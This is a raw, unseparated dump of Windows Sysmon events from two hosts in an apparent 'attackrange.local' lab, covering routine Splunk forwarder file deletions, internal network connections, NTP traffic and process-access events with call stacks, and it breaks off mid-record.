15:10:21.539{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000057776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.304{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1430BF60A900038D72BC579353D9F81A,SHA256=93B58415AB1271728ABEA015CAFC21ECFD6AB54925EDF8F56B8E6FB9B41348B6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018472Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:22.865{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5431693D8ADF1FAF989DE9C8F04BD1B1,SHA256=138B3FBD0BFF40374E857C08DAD63269F2845542741DDCAAD32C002E941F3BD7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:22.604{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1D7007E247C28B99708975FFD11A1AC8,SHA256=55E1292B250927FA8671E94EFD05059A4BCB18F4F0DDD21FA2DE6528ABFBB33D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:22.163{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18625DF690C13A15242D6F0542D685DE,SHA256=1333FD9572CD2B70C399E783304FF3BFC70D0B893292388E6D7756611367ECCB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018471Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:20.356{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50431-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018473Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:23.880{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=38590DA2CB97746AAE64CBAC350CD4CA,SHA256=19BF2E18B208B9CCFA19EF5F785FEE7AFFA1A9508800034A2AAE52F4A81A41B0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:23.178{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5BBECF7D9DC06E6A3D259372FA08F2D,SHA256=CDC50E7C9CE8668C9E67C3B2C6B49BC9F0237FAF8B6935B22ADF0FD2ACD6C1CF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018474Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:24.896{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8CA0BC157AC061B723735D7B5665B096,SHA256=B018792ACB84DE2D55C48742D046B5365FFE4B22F44DA175E417014D02DBA1D5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:24.807{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-064MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:24.210{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E9A04BE839F82FE58E6BC3BE558AE1D,SHA256=178F14C284B2D712F0E9AC6B13ABA9E623ABF3F067A8C01E73842A4E81F1104E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018475Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:25.911{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC065AC2A8FDEA3FA74AAA4C1F3BF7D4,SHA256=8E0223D53A5025F98367498C8F16987DBEB37C2589A4313F6A70F8B63EF64CC3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:25.820{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-065MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000057835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:25.586{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000057834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:25.242{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE8B8D5B0DD5AD3CB8692A2D910D7FD2,SHA256=EAAA0FD6A608354929C7B7DA426399B758C0F6E645201B7847043D1B070E551F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018477Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:26.927{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C739898554CFFAD010792499E12B787,SHA256=F23149839820C66A32A99EDC27B1E103A3E59DCE093F1C3E3E463425FA27BF0C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:26.271{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=316E4B5750512A69B9629A749407F549,SHA256=1C687EC89B01307951F93DCBFCE532566700BFE6EEF72EED457F71426102B48B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018476Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:25.419{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50432-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018478Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:27.943{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D91015E8567DEB8C58D58E41143FD05,SHA256=CE7B41225A8A6153A32BA6B6CA2145983B5A3CC9BD11E6D1826B43A9FAC9F9D4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:25.448{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63212-false10.0.1.12-8000- 23542300x800000000000000057838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:27.509{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A1B5E5123333A9B5C2B22C7D96EF08D8,SHA256=34371FC31FC05A16537C5F7D85CE03B7169E1827603958BC6C7C7457560F79AA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000057841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:10:28.962{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a655-0xfdb4a71d) 23542300x800000000000000057840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:28.743{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C3B867021057F1D7CDD0003D88AEC0C,SHA256=C5CE3F4B394550769EFB46B80795350160EC2470E6AB0E2347A739D018A16ABE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:29.759{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=728AFB163CBA00B6DB172775CA8507C2,SHA256=9CFF7686E0C852D21313221EA399CABC84B812A3ED6D09EE6ED1F6F25B359682,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018480Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:29.932{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-055MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018479Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:29.021{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=339A8B1D4DA681208678E7A60C71C335,SHA256=3573DD13CD30EC7C3B3B12FCF191986F84B526B71F19C32713B2E84C618A5F1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:30.977{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D4B8DCF09A61494E1BC561EFB0E8F6F,SHA256=69E245342FA9C60213F2031B8075917824D06627AB1CEAA2FBCC97610396ADD8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018482Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:30.945{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-056MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018481Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:30.053{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=140E0D8E3931BB4CBAB3EFF2622055BC,SHA256=A66D3F15F945711603B29423726030581FC2762C3F9EAD641BFD24BE3C90E1D7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:28.233{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.14win-dc-387.attackrange.local123ntpfalse20.101.57.9-123ntp 23542300x800000000000000057843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:30.102{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018496Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7567-613B-4B05-00000000F101}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018495Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018494Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018493Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018492Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018491Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018490Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018489Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018488Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018487Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018486Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7567-613B-4B05-00000000F101}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018485Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 